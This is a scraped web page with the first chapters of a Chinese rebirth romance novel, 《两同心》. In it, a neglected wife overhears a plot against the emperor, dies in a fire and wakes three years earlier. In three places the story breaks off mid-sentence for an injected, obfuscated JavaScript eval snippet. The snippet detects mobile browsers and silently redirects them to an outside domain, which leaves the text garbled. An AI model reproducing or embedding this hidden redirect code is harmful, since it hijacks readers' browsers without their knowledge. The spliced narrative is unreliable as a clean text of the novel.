《两同心》 1. 第 1 章 柳舜华醒来的时候,正值傍晚。 一夜雨急,檐下海棠兀立,稀疏的花影摇在斑驳的青墙上。墙角苍苔泛冷,雨水濡湿一地落红。 虽已是孟夏,西竹院依旧一片凉飒之气。 窗牖半开,风吹着床前的旧罗帐,悠悠荡荡。柳舜华咳了几声,强撑着虚弱的身子,缓缓坐起。 屋外一阵喧嚣过后,缈缈弦乐入耳,细细一听,奏的似是《桃夭》。 柳舜华昏昏沉沉,反应了好一会,才想起明日便是她夫君大喜的日子。 贺玄晖终于如愿以偿。 他就要迎娶刘妉柔。 芳草正在廊下熬着药,听到柳舜华咳嗽,忙跑进屋,扶着她坐起。 “夫人,你终于醒了,我这就把药端来。” 说完,她想起了什么,抿着嘴不再说话。 柳舜华淡淡一笑:“我哪里还是什么夫人?日后还是依着在家的时候叫吧。” 过了今日,相府依旧有长媳,可却不再是她柳舜华。 柳舜华侧耳听了许久,这首曲子,与她同贺玄晖成婚那日一般无二。 当初嫁给贺玄晖的时候,柳舜华心内是欢喜的。 长安城里人人皆知,贺丞相辅两任帝王,掌朝中大权,即便是当今圣上也要让三分。 她原以为,相府的长子,多半是个目下无尘的。所以,成亲前她曾偷偷看过他。没想到他却恭谦有礼,温润如玉,恰如春日里的暖阳,教人无端生喜。 柳舜华也曾以为,能嫁于贺玄晖是一件幸事。 那时,柳家门楣还不算高,柳父只是大司农丞,兄长还未被重用,妹妹柳棠华也不是皇后。 原本她这样的出身,根本攀不上相府这门亲事。 她只是偶然救下了相府的老夫人,被老夫人在贵客云集的寿宴上夸得天下无双。 寿宴后,一向不得老夫人看重的相府夫人,便火急火燎地跑到柳府提亲,想要通过她来争取到老夫人的青睐。 入府后她才知,她的夫君贺玄晖,有位放在心尖上的意中人。 成婚当日,贺玄晖便将她一个人扔在新房,自己跑到书房借酒浇愁,害她成为笑话。 婚后,贺玄晖更是为向心上人表忠心,甚少出现在后院,从未碰过她。 贺玄晖的心上人是平阳王府郡主刘妉柔,两人郎情妾意,神仙眷侣。 只因当初相府与平阳王府交恶,再加之相府夫人误打误撞,这才迎娶她进门。 这些年,贺玄晖从未放弃过迎娶刘妉柔的念头,两家关系都是他费尽心机从中斡旋。 随着老夫人身死,柳舜华最后一点价值也消失殆尽。 又值睿帝驾崩,朝中动荡,贺丞相扶持流落在民间的新帝刘九生登基,相府幼女贺容暄对皇后之位虎视眈眈,而新帝却顶住相府的压力,执意册立与他同甘共苦的柳棠华为后。 一夕之间,婆母待她愈加苛责,贺容暄对她更是冷嘲热讽。 她在相府过得一日不如一日。 后院那些下人,个个都是人精,惯会见风使舵,见柳舜华备受冷落,明里暗里不知给她多少白眼。 而她的夫君贺玄晖,每每皆是冷眼旁观。 她不明白,贺玄晖明明是那样温润之人,为何对她却如此冷情。 后来,她渐渐明白了一个道理:纵使日华昭昭,也有照不到之处。 贺玄晖这轮遥遥天上日,有他想要照耀的地方。 柳舜华很快便想开了,也早放下了。 十日前,一大早婆母便屈尊前来。她以柳舜华三年无所出为由,让她自己从相府长媳之位下来,自降为妾。 她明白,刘妉柔贵为郡主,又是贺玄晖的心上人,若嫁进来自然不可能做妾。 而她最大的依凭,她的妹妹,皇后棠华,也已经香消玉殒。 柳舜华心内盘算着,迟迟未开口。 丞相夫人以为她要霸着相府长媳之位,指桑骂槐一阵,带着人悻悻离开。 黄昏时分,贺玄晖踏着晚霞走进后院。 柳舜华依旧恹恹地躺着,并未起身。 贺玄晖静坐许久,才缓缓开口:“我要娶刘妉柔,恐怕要委屈你。” 柳舜华一口应了下来:“好。” 相府这座锈迹斑斑的铁牢笼,她早就厌了。 她不想无声无息地烂在这里。 她只想借此机会,飞出这重重庭院,好好重活一遭。 许是柳舜华应得过于爽快,灯影摇曳中,贺玄晖神情晦暗,他沉默片刻,吩咐她近日不要离开西竹院。 还未等她提及和离之事,贺玄晖已十分不耐地离开,他连一刻都不想和她在一起。 自那以后,柳舜华再也没见过贺玄晖。 贺玄晖大抵是在忙婚礼,毕竟他等这一日许久了。 …… 屋外的礼乐已换成宴席舞乐,喧啾若百鸟朝凤,一听便知明日必是个热闹的光景。 芳草眉心拧成一团,她眼眶泛红:“小姐,若是日后新夫人进门……我不怕吃苦,只是小姐不知又要遭多少委屈。” 柳舜华拉着芳草的手,软语安慰:“这三年,咱们什么苦没吃过,什么委屈没受过。别怕,再等等,咱们一起回家。” 芳草抬眸惊诧道:“小姐,你是说,回柳府?” 柳舜华点点头,她早已想好后路。 贺玄晖如愿娶了刘妉柔,却还将她留在西竹院,自然有他的思量。 先皇后娘娘故去才半年,相府便将贺容暄捧上皇后之位。 若再急着将她赶出相府,多少有些不太体面。 贺玄晖留下她,无非是为了保全相府的名声。 可是,她可以自请和离。 如此一来,相府就不用担一个刻薄的名声。 明日便是贺玄晖大喜的日子,说不准他一高兴,便会应了。 若贺玄晖不答应,左右还有刘妉柔。 没有哪个女人会想和别人同享自己的夫婿,哪怕是个毫不受宠的女人。 只要搬出刘妉柔,贺玄晖定会作出让步。 柳舜华喝过药,天色已经暗沉下来。 她梳洗了一番,换好干净的衣物,便朝着贺玄晖书房走去。 西竹院过去贺玄晖书房,并不算近,可只要绕过一条偏僻少行的近道,片刻即至。 乌云遮月,凤尾森森,竹林幽阴深邃,四周静得可怕。 柳舜华心内无端不安,不由加快了脚步。 须臾便至书房西窗下,柳舜华正欲绕到正门,便听到书房内传来阵阵低语。 “父亲,我正准备过去,您怎么亲自来了?” “你这里僻静,没那么多人盯着,说话方便些。” 柳舜华没想到丞相会亲自到贺玄晖书房。 明日便是大婚,丞相这个时辰过来,对婚礼以及刘妉柔的看重可见一斑。 左右不过是交待婚礼琐事,柳舜华觉得也并无避嫌的必要,就静静候在窗外。 只听一阵窸窸窣窣的动静后,低沉的声音传来。 “明日准备得如何了?” “父亲放心,皇上的行程已尽在掌握。明日大婚皇上亲临,回宫的途中,已经安排好了人手。” 柳舜华浑身一个激灵,贺玄晖这话是什么意思? “要确保万无一失。还有若是有人员伤亡,善后处理也要倍加留心,免得落人口实。” 贺玄晖应着,思忖片刻还是问道:“父亲,一定要走到这个地步吗?” “啪”的一声,贺丞相将杯盏重重摔在桌上。 贺丞相怒道:“如今我贺府已是累如危卵,你竟还有如此妇人之仁。” 贺玄晖脊背僵直,垂首而立,不敢有丝毫懈怠。 见他如此,贺丞相怒气消减几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一旁灰头土脸的小厮哽咽道:“相爷,方才我已冲进去了。我看见二公子他躺在床上,已经……被烧焦了。卧房倒塌,实在是搬不出来……” 火势借着风越烧越旺,院内浓烟滚滚,檐柱不断被火龙吞噬,终于支撑不住,整个房屋轰然倒塌。断木砸在廊下的鱼缸里,残存的几尾金鱼在滚烫的地面上挣扎片刻,很快便没了声息。 柳舜华眸光一点点黯淡,她失神地望着眼前熊熊燃烧的大火。 贺玄度,死了。 他就在这火光之下。 柳舜华恍恍惚惚,一步步走向火光。 贺玄晖满脸惊愕地望向柳舜华,随即他大吼道:“柳舜华,你做什么,给我回来。” 柳舜华缓缓回头,漫天的火光映在她一向苍白的脸上。 贺玄晖在她的脸上看到了一种奇异的光彩,就像是开到极致,只等暮落的朱槿,带着与生俱来的宿命,走向归途。 她看向贺玄晖,眸中一片平静:“我知道,听了你们的秘密,我是活不成了。你们放心,我会自行了断。只是,柳家已经没了皇后娘娘,没有能力挡你们的路,我求你们,放过我的家人。” 贺玄晖上前几步,伸手急道:“柳舜华,听我说,别冲动,你先回来。” 柳舜华粲然一笑,一字一句道:“贺玄晖,明日便是你大喜的日子,我以此身,贺你新婚。” 衣袂随风,像是一只飞蛾,柳舜华决绝地扑向火海。 火舌很快吞噬掉她的衣物,灼灼耀目的红,像极了他们新婚那日,她顶着的红盖头。 那日,他犹豫许久,终是没能亲手揭开她的红盖头…… 贺玄晖疯了一般,跌跌撞撞冲向火光,似乎想要抓住什么。 尘灰萦空,漫卷向天穹。他的掌心,一片虚空。 2. 第 2 章 彤彤火光映在窗外,触目是无边耀眼的红。 柳舜华猛地从床上坐起,赤着脚跑出屋外,一路跑下石阶。 “快救火……”话音未落,柳舜华蓦地止住了脚步。 青瓦飞檐之上,红日初升,似绛绡千丈,灿若锦屏。 绚丽的霞光掠过阁楼,落在廊下高疏的桂树新绿上,满院山茶花开灼灼。 不是火。 这里也不是相府,而是……柳府。 柳舜华神思恍惚,她不是已经跳进火海,怎么又回到了柳府。 冰冷的石阶浸骨,柳舜华忍不住打了个寒噤。 这不是梦? 芳草正哼着歌,提着竹篮跨进院子,篮子里探出一枝新撷的粉芍药。 “小姐,你醒了。这怎么,不穿鞋呢,小心着凉。”芳草将竹篮放在廊下,扶着柳舜华就要进屋。 柳舜华呢喃道:“芳草?” 芳草自幼陪她一起长大,她嫁进相府后,芳草也一直跟着。 相府三年,为了维护她,芳草不得不泼辣起来,一言不合便叉起腰与人对骂,昔日眉宇间的天真早被磨平。 而眼前的芳草,语笑嫣然,肉嘟嘟的脸上犹带着稚气,分明是三年前的模样。 芳草见柳舜华神情呆滞,一动不动地盯着她,着急地伸手去摸她的额头:“小姐不是睡癔症了吧,我就说,昨夜不该和二小姐闹到半夜,你们偏不听。” 二小姐,她是说棠华,棠华还活着。 怎么可能,她的妹妹,先皇后娘娘棠华,明明已经病死在皇宫内。 柳舜华头疼欲裂,声音哽咽,“棠华,棠华。” 芳草看着柳舜华,道:“孙家表少爷大婚,二小姐随孙姨娘去观礼,今日一早便出发了,要明日方归,小姐忘了?” 孙家表少爷大婚,那是许多年前的事了。 柳舜华隐约记得,当时她贪玩,还跟着孙姨娘一道去了。 屋外凉风吹得柳舜华神识有几分清明,她甩开脑海中纷乱的记忆,开口道:“现下是何年何月?” 芳草一脸懵懂,盯着柳舜华道:“大安元始六年,三月初二。” 柳舜华脑中一阵轰鸣,元始六年,她才十六岁,还未嫁进相府。 她真的回到了三年前。 也就是说,上辈子那些事都还未发生,一切都还来得及。 柳舜华紧紧抓住芳草的胳膊,“太好了,真的是太好了。” 芳草虽不明白好在好处,不过自家小姐看起来确实是好多了。 柳舜华跨出庭院,看着院中的一草一木,皆是熟悉的模样,胸中难免激荡。 她便迫不及待地穿过回廊,向书房跑去,隔着重重浓绿的芭蕉叶,远远瞧见垂首站在窗下的父亲。 初嫁进相府那些时日,她还偶有回家探望。 可后来发生了那些事,令她身心俱疲。 尤其相府最后那些时日,又染上了病,整个人消瘦得不成样子。 为了不让爹爹担心,她连家都不敢回。细算起来,她已近一年未见到父亲了。 柳舜华忽而停下脚步,怯怯地望着父亲的身影。 不知何时,父亲发丝中已有了白发,她之前竟不曾发觉。 似是听到了动静,柳大人下意识地抬头,正瞧见窗外站着的柳舜华。 方才还皱着的眉头瞬间舒展,柳奉放下手中的笔,朝着柳舜华笑道:“怎么站在外面不敢进来,是不是又惹了什么祸?” 柳舜华再也忍不住,提起裙摆冲进屋内,一把抱住父亲,呜呜地哭了起来。 柳奉愣了一下,拍着柳舜华,“这是怎么了,是谁欺负我们蓁蓁,告诉爹,爹替你做主。” 相府三年,柳舜华过得憋屈极了,她很想同爹爹哭诉上辈子的艰辛,可终究还是忍不住了。 不过是大梦一场,又何故徒惹爹爹担心。 柳舜华擦干泪,摇摇头,依旧带着哭腔:“我就是……觉得委屈。” “咱们蓁蓁可是柳家的掌上明珠,谁敢给你委屈受?” 本是稳重的嗓音,却偏带了一丝调笑。 柳舜华抬眸,见兄长柳桓安正冲着她笑。 柳桓安与柳舜华乃一母同胞,长得有七八分相。此刻他一身石青长袍,并无任何多余装束,颜如冠玉,五官俊秀,难掩英姿。 望着眼前意气风发的兄长,柳舜华有些恍神。 嫁进相府后两年,兄长因她与棠华的缘故,彻底得罪了丞相府,在朝中受尽排挤。 最后一次见他时的场景,她依然记得。 高大的梧桐下,他郁郁地坐着,独自饮着酒。 稀疏的光影摇曳在他青衫上,晃得柳舜华眼疼。 她不知如何安慰,只坐下陪着他饮了一杯又一杯,直到天色渐暗,四野暮沉。 柳舜华眼眶一酸,“兄长。” 柳桓安本是想打趣她,却见她如此模样,一时慌了神:“妹妹怎么了?” 方才一哭,情绪发泄,柳舜华已缓解大半,为免父兄看出异常,她想着旧日在家时的样子,仰头道:“爹同哥哥都不疼我了,往日里都知道送我莲蓬糕,这都好些日子没送了,可不就是不再将我放在心上了。” 柳桓安一听,才又笑了起来:“你个馋猫,原来竟是为了此事。你都多大姑娘了,还为这点糕点哭鼻子。” 柳奉也放下心来,轻声哄道:“这阵子圣上有恙,朝中诸事繁杂,爹爹脱不开身,你哥哥又一直在忙,倒是疏忽我儿了。你放心,待会爹便差人去买。” 听到此处,柳舜华又恍惚记起一些旧事。 圣上抱恙,贺丞相代为主持朝政。平阳王本就不满贺丞相独揽大权,处处与其争锋。适逢平阳王欲为其大女婿争取封侯,被贺丞相驳回,双方结怨更甚。贺玄晖与刘妉柔这对苦命鸳鸯,也因此被迫分离。而她,则误打误撞,嫁进了相府。 朝臣之间争斗,却连累她这个无名小卒成了牺牲品,回首前世,柳舜华不胜唏嘘。 “好侄子,你可真够争气的,不枉二叔这些年对你的期待。” 来人也不让人通传,直接走了进来。 柳舜华看到来人,心内冷嗤。 上辈子,棠华还是皇后时,她这二叔仗着棠华的势,处处招摇。 后来棠华势微,崩逝在宫中,贺家又步步紧逼,他为免受牵连,第一个跳出来与他们家划清了界限。 兄长郁郁不得志的那些时日,他没少冷嘲热讽。 她躬身淡淡道:“二叔好。” 柳信敷衍地点点头,转身对着柳桓安笑道:“听说,你被皇上钦点,任命鸿胪寺丞。你什么时候德蒙圣上召见,怎么没听你说呢?” 兄长被任命鸿胪寺丞,她记得此事。兄长此前辅助的县尉擢升,在皇上面前举荐了他。皇上召见兄长不久,任命便颁了下来。她同棠华从孙家回来,听说这个消息,还缠着兄长讨了不少零用钱,买了好多小玩意。 柳舜华料定二叔要拉着兄长长谈,随便寻了个理由便起身离开。 柳桓安叫住了她,递给她一张帖子,“长陵侯府方送来的,邀咱们明日到他们庄园里赏花。” 上辈子这个时候,她不在家。竟不知,长陵侯府有送帖子过来。 她恍然记起,曾在贺玄晖书房,见过长陵侯府世子李季方。 长陵侯府多半是站在贺丞相那边的。 那他们此番送帖子过来,好像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14863666|159472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没那么简单。 柳舜华接过帖子,打开一看,视线落在上巳节三个字上。 她突然想到了一件极其重要的事。 三月初二,上巳节前夕。 她必须去见一个人,错过这次,只怕再难见到了。 …… 柳舜华上辈子,实在憋屈。 夫君只想着他的心上人,婆母厌她留不住儿子,小姑嫌她粗笨配不上哥哥。 她在相府孤立无援,寸步难行。 唯有小叔贺玄度与她亦师亦友。 他教她读书习字,教她父兄都未曾教过她的道理。 三年,她读遍了贺玄度为她挑选的那些书。 从书中看到山川秀美,江河辽阔;日月盈昃,春秋代序;人生激荡,世事沧桑。 方知她这一生,不过是井底之蛙。 她想要走出去,看一看这大好河山,而不是拘于宅内争斗之中。 他让她在相府泥潭中滋生出希望,犹莲生淤泥,菡萏初绽。 贺玄度,是她在幽室里漏进的一缕天光。 她记得,贺玄度喜赏花,尤爱桃花。每年上巳节前夕,他总会外出折几枝桃花回来。 贺玄度行动不便,平日里甚少外出,眼前这个能见到他的绝佳机会,柳舜华自然不愿错过。 片刻后,柳府后院东厢房便一阵悉悉索索,雨落春草般连绵。 柳舜华连换三四套衣裙后,最终选定一件素雅的月白罗绮曲裾袍。 贺玄度喜素淡,穿成这样,他才可能会多看她一眼。 支开芳草,柳舜华匆匆前往相府。 上辈子嫁入相府后,因处处受丞相夫人所限,她甚少出府。每次回柳府,她都是乘坐轿子。以至相府三年,府外周遭是何光景,竟一概不知。 她只记得,有一次坐轿子出了相府的高墙,南风吹开车帘,她似是看到一株百年古柳。 她循着古柳,来到相府门口。 因临近上巳节,街道上红飞翠舞,她半隐在柳树下,也不十分打眼。 柳舜华第一次以一个局外人身份,细细打量着眼前熟悉的府邸。 相府赫赫,门前石狮子也威风凛凛,四周围墙高耸,轩峻庄重。古木森森中隐约可见楼阁重重,高甍凌虚,华丽豪奢,让人望之生畏。 明里光鲜,暗里却是蝇营狗苟,浊臭不堪。 若非为见贺玄度,她断然不肯再来这种地方。 她盯着眼前的朱红大门,那道清寂的身影又浮上心头。 蓦地想起了最后一次见贺玄度时,他坐在轮椅上,默默剪掉一枝斜飞的花枝,淡漠道:“有些软肋与虚念,不过是附赘悬疣,该舍弃时当舍弃。” 软肋,虚念? 她不知贺玄度是在说她,还是他自己,却没由来一阵心虚。 于她而言,贺玄度就是天边的明月,可望不可即。 他总是一副淡然的模样,无欲无求,她看不穿。 可越是这样,她就越想了解贺玄度。 她想知道,贺玄度所求究竟是什么? 可惜啊,二十岁的贺玄度已经死了,她再也没机会去问。 不过幸好,十六岁的贺玄度还在。 柳舜华默默想着,不知十六岁的贺玄度会是何模样? …… 一直等到隅中,都未等到贺玄度。 柳舜华怅然若失,看来今日是扑了个空。 方欲转身,沉重的开门声响在耳侧。 柳舜华抬眸望去,朱门缓缓打开,两个小厮簇拥着一人走了出来。 万千丝绦柔风中葳蕤,荡漾着春光,婆娑惹人。 隔着的一片浓荫,她看到了贺玄度。 3. 第 3 章 眼前人有些熟悉,却又无比陌生。 朱门之下,贺玄度临风而立,赭色孔雀金绣织锦袍轻轻翻动,乌发如云,面白似玉,清澈的桃花眼微微上扬,一双竹节般的玉指漫不经心地揉着额头。 柳舜华从树后绕出,一步步向贺玄度走去。 她脑袋空空荡荡,原本她只想着看一眼就好,可真见到了,却又生出别的奢望。 对于贺玄度,她总是有份说不清道不明的感情,这份感情,由不得她控制。 朱门前,贺玄度懒懒一瞥,看着拦在眼前的柳舜华,眼神一下亮了。 又是一个爱慕他美貌之人,还是一个美人。 可太有趣了。 他一把推开两个碍事的小厮,撑开拿在手中的五彩羽扇,遮挡住大半边脸,歪头凑了过去。 小厮看了看贺玄度,不禁替眼前的美人捏一把汗。 美人虽美,可这一身素淡的衣衫,这周身气度,恰恰是公子最不喜的类型。 对这类美人,公子通常只有一句话。 果然,贺玄度挑眉道:“美人,斗鸡,一起去吗?” 柳舜华懵了…… 还未从错乱中恢复,她突然意识到一件更让她震惊之事。 贺玄度的腿,好了。 上辈子,她能感受到,贺玄度对他的腿,很在意。 每次听她谈到乡野风光,骑马驰骋,他一向淡默的脸上,总会浮动一些难得的神采,眼底似是泛着光。 她常想,若是贺玄度双腿健全,他定不会囿于宅地之间。 他那样高洁之人,应当是在竹篁间弹着瑶琴,亦或是在山水中听着松涛,俯仰自得,不染尘俗。 柳舜华欣喜不已,顾不上其他,上前几步,指着他的腿声音颤抖:“你的腿,你的腿……” 她直直盯着贺玄度的腿,眼神过于殷切,以至于看起来行为有些疯癫。 贺玄度笑容僵在脸上,惊恐地收起羽扇。 这女子没被他吓跑,竟还如此癫狂,这是对他爱慕成痴啊。 生怕她下一刻就要摸上他的腿,他边走边退,“哎哎哎,你做什么?你离我远点,我要叫人了啊。” 柳舜华反应过来,忙解释:“不是,我只是……我只想看看你的腿。” 想看他的……腿。 这竟是个女登徒子。 活生生的女登徒子,给他碰到了。 贺玄度后退几步,拉过两个小厮,探出半个脑袋,结结巴巴道:“你……你大胆,小爷我你都敢调戏。” 柳舜华见解释不清,更加慌乱,“不是的,你听我解释,我只是没想到你的腿是好的,我……” 贺玄度根本不听,“你给我打住,站在那里,不要动。” 柳舜华呆在原地,直愣愣地看着贺玄度。 贺玄度小心翼翼地绕到一边,拔腿便跑。 边跑边心有余悸地回头看,生怕一不小心便被追上。 “还看什么热闹,快跑啊!” 那个清冷绝尘,一袭白衣坐在轮椅之上的贺玄度,与眼前这个逃命般奔跑,毫无顾忌的身影,光影一般浮在眼前。 柳舜华呆愣愣地立在原地,久久才回过神来。 她恍恍惚惚地往回走。 方才那人分明是贺玄度,可为何却是……那番模样? 还有,贺玄度的腿,为何突然就好了? 上辈子,第一次听说贺玄度,是嫁进相府的五个月后。 当时老夫人病重,她侍奉老夫人汤药后回院,经过穿堂时无意间听到一个老嬷嬷在教训下人。 “往后你们几个做事,要机灵一点。二公子昨日回府,他那性子阴晴不定的,指不定怎么闹呢。” 柳舜华入府半年,并未见过这位二公子,她便问妙灵府内何时多了位二公子。 妙灵是老夫人指给她的丫头,对府内之事略知一二。 然而妙灵却支支吾吾,只道二公子此前一直在凉州。 她以为这二公子是位不受重视的庶子,便也没再追问。 直到后来,她与贺玄度有了半师之谊,才渐渐清楚他的身世。 可关于贺玄度双腿残废之事,府内大多三缄其口,就连贺玄度身边伺候的那些人,也不肯多说一个字。她又恐过打听多了,反伤了贺玄度的心,便没再问起。 柳舜华不知其中内情,一直以为他自小便是如此。 上辈子,救下老夫人半年后,她嫁进相府。 也就是说,贺玄度会在此后一年内双腿残疾。 不行,贺玄度的腿不能断,她一定要想办法阻止。 -- 昨夜浑浑噩噩似入梦,柳舜华脑海中尽是些前尘过往。 一时是贺玄晖对她冷言冷语,一时是相府那场葬送她的大火。 她虽与贺玄晖恩怨纠葛三年,可到底早对他死了心,尽管心中憋屈,却也不算切骨之仇。 至于那场火,上辈子活成那样,未尝不是一种解脱。 她只能这么想。 根深蒂固的丞相府,岂是她这种闺阁女子可以撼动的。 往事成空,去日不可止,她只想守着家人,安安稳稳地过好这辈子。 这辈子,父兄不会再受她牵连,以至在朝堂上被打压。 而棠华,什么皇后,不当也罢,她只想让她平顺安乐地度过此生。 若说今世的遗憾,也是有的,那便是贺玄度。 “小姐,该起了。” 柳舜华缓缓睁开眼,朦朦胧胧间见芳草端着铜盆,打了洗脸水进来。 她隔着红罗帐,瞥了一眼窗下陶瓶内影影绰绰的芍药,翻了个身,继续睡去。 芳草才将盆放到架子上,方打湿毛巾,便看到被风吹乱散落在地的纸张。 她仔细擦了擦手,一一捡起,拿在手中一看,笑盈盈道:“小姐的字什么时候写得这么好看了?” 柳舜华猛地睁开眼,从床上跳起,一把掀开帘子,跑去抢过芳草手中的纸。 纸张之上,密密麻麻地重复着三个字:贺玄度。 柳舜华脸颊发烫,将纸张卷起放进抽屉内,刻意移开话题:“哪里就好了,分明写得不堪入目。” 芳草笑笑,转头去将毛巾拧干递了过去:“小姐不是哄我吧,我虽不识得几个大字,可写得好歹还能分辨一二。小姐以前的字,我不是没见过。” 柳舜华打趣道:“你这么机灵,不如也学学认字如何?” 芳草连连摆手:“小姐饶了我吧,我可学不来。” 柳舜华张口便道:“那是读书不得其法,像我们这些人,若一开始便像太学生一样读经书,自然不得趣味,很难再读下去。你看我以往,提到读书怕得什么似的,可自从贺……” 她突然住了口,如今是三年前,她和贺玄度,还互不相识。 芳草抿嘴笑道:“我竟不知小姐什么时候开始读书了,公子在外等着呢,又没在这,不用做样子。” 柳舜华这才想起,昨日答应了兄长,要一同去长陵侯府浮霞园赏花。 马车一路出了城门,朝着东郊驶去。 一出了城,清风卷着花香撩动车帘,空中杂着一些草木的清气。 柳舜华深吸一口气,久违的熟悉感扑面而来。 柳桓安见她脸上带笑,浑然不似昨日那般恍惚,心知此次带她出来,实为明智之举。 柳舜华松了松肩膀,问道:“兄长同长陵侯府世子相熟?” “我与长陵侯世子只有过几面之缘,此次相邀,应当是曹廷尉的缘故。”柳桓安摇头,随即道:“我此次升迁,便是曹廷尉所荐。” 曹廷尉,也就是此前的曹县尉,兄长此前一直在他手底下做事。 因此人举荐过兄长,柳舜华对他多有留意。每年贺丞相生辰,似乎也有他的踪影。 难道,贺丞相有意要拉拢兄长? 兄长酷爱经史,才学不俗。诸子百家,尤推法家。 他常道“世事变而行道异”,大安若想长治久安,应以法·术治天下,而非一味守旧。 他一腔热情,期盼建功立业,确实曾一度得到圣上青睐,官至侍御史。 可这都是后来之事,贺丞相为何早早便起了拉拢兄长的心思。 她按下心中疑惑,笑道:“那看来,长陵侯世子此次相邀,是为了结交兄长。” 柳桓安没有回答,只是神色复杂地望向窗外。 柳舜华知他有凌云之志,不想掺和进权力争斗之中,可身在朝堂,孤臣难做。不过,兄长这性子,倒也让她放心,毕竟丞相府将来极有可能造反,她可不想兄长被相府牵连。 她心内轻叹一口气,换了个话题,“不知长陵侯府这次都邀了哪些大人物来,我一向没见识,可莫要冲撞了去才好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14863667|159472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 柳桓安果然笑了,“你也不必自谦,谁不知道你小心思最多。” “不过此次,还真有。我听说,丞相府的大公子今日也在。” 柳舜华蹙眉,贺玄晖果然在。 她心下又一转,漫不经心道:“听说丞相府还有位二公子。” 柳桓安脸色一沉,对着柳舜华叮嘱道:“这种风雅之事,他不一定会参加。不过,待会进了园子,若是遇到这位二公子,最好离得远远的。” 柳舜华秀眉一扬:“为何?” 柳桓安颇有君子之风,不屑背后非议他人,只道:“这位二公子,空有副好皮囊,却是有名的纨绔。” 贺玄度是个纨绔,这话柳舜华不是没有听过。 老夫人病重,贺玄度回府后,这话她常有耳闻。可同贺玄度相处日久,她愈知其为人,只当是丞相夫人找人编排,从未放在心上。 昨日相府门前一见,再加上兄长方才的话,她一时心乱如麻。 柳舜华随便应付着:“传言未必是真,何况我也不会主动去招惹别人,兄长放心。” 过了元宝桥,一路绿柳萦绕着春水,行至水穷处,便是浮霞园。 马车停住,两人先后下车。 园门外已是车水马龙,门口几个小厮一脸笑意相迎。 园内楼阁耸立,几十里桃花竞相开放,或粉浅玉嫩,或娇艳欲滴,一簇簇连成一片,云蒸霞蔚,芳香馥郁。 柳桓安回头望了柳舜华一眼,“方才我还觉你这一身有些素淡,现下瞧着,与这倒十分相衬。” 柳桓安递了拜帖上去,门口两个小厮看了一眼,便着人引着进了园子。 柳舜华跟在柳桓安后面,绕过一座石桥,经过弯弯曲曲的水榭,又往前行了一段路,方到正厅前。 小厮笑道:“柳公子,我家公子在里面,已经恭候多时了。” 柳桓安转头对柳舜华道:“你且安心赏花,若是有事,差人过来寻我。” 园内丫鬟带着柳舜华,继续向前。 不知走了多久,前面一道粉墙挡住了风景,只能瞧见月洞门上一簇桃花横斜,迎风开得正盛,不断有嬉笑之声隔着围墙传来。 领着柳舜华进了桃林,丫鬟笑着告退。 桃林内,贺玄度摇着羽扇走在前面,身后跟着三四个少年人。 “玄度今日来得太晚了些,待会可要多喝一杯。” “就是,为了等你,我连瞧美人的机会都错过了。” 贺玄度一收扇子,在邱长临脑袋上敲了一下:“俗,大俗。那些个名门闺秀就会拿腔作调,木头一般,有什么可美的。放着满园子的春色不赏,却瞧那些个蠢东西。” 邱长临揉着脑袋:“你见惯了风月,眼光独到,谁跟你比,我偏就喜欢这些端庄娇艳的。” 贺玄度举起扇子挑了挑头发:“说好了,小爷今日只赏景,你们要去看俗人,不要拉上我。我怕我太出众,会抢了你们的风头。” 一群人哄然大笑。 “贺玄度,就你那名声,你是没有一点数啊。” “你不出丑就要去拜神了,还抢风头。” “我说,你去打听一下,长安城里的世家小姐们,提起来你哪个不是直摇头。” 贺玄度摸着下巴,仰起头洋洋自得,“小爷我的好,你们这群庸人懂什么。昨日出门,我还被一个女子调戏呢。实非我要浪荡,是我这副样貌,实在是太容易招蜂引蝶了。” 邱长临不信,“你,在相府门口,被一个女子调戏?” 贺玄度点头:“千真万确,我两个小厮看着呢。幸亏我跑得快,不然那女子指不定如何纠缠呢。” “真是奇闻,竟还有这样的事。” “那女子定是奇丑无比,不然你为何跑这么快?” 贺玄度略一回想:“长得嘛,倒是很有几分姿色。就是那一身,委实素淡了些,没点儿人气,活像个小寡妇。若是……” 不等他说完,邱长临惊呼:“快看,快看,那边。” 桃林深处,女子衣袂翩翩,青丝袅袅,宛若乘风,玉清裙摆扫过地面落花,花影落在光洁的脸上,拈花一笑,美得仿若画中仙。 柳舜华闻声抬头,正撞上贺玄度的目光。 贺玄度微微一愕,伸手理了理衣襟。 他叹声道:“你到底还是追来了,说吧,你对我究竟有何企图?” 4. 第 4 章 柳舜华对贺玄度确有企图。 可这份企图,更多的是仰慕。 上辈子,她是长嫂,他是小叔。 她只能将他放在心底,妄念一生,便不自觉压下。 这辈子,她是寻常闺阁女,而他,则是高高在上的相府嫡子。 纵使依旧无缘,但至少也要给贺玄度留下个好印象。 柳舜华对着贺玄度略一福身,“公子,昨日认错了人,实在失礼。我那位朋友腿脚有些不便,是以才多有得罪。” 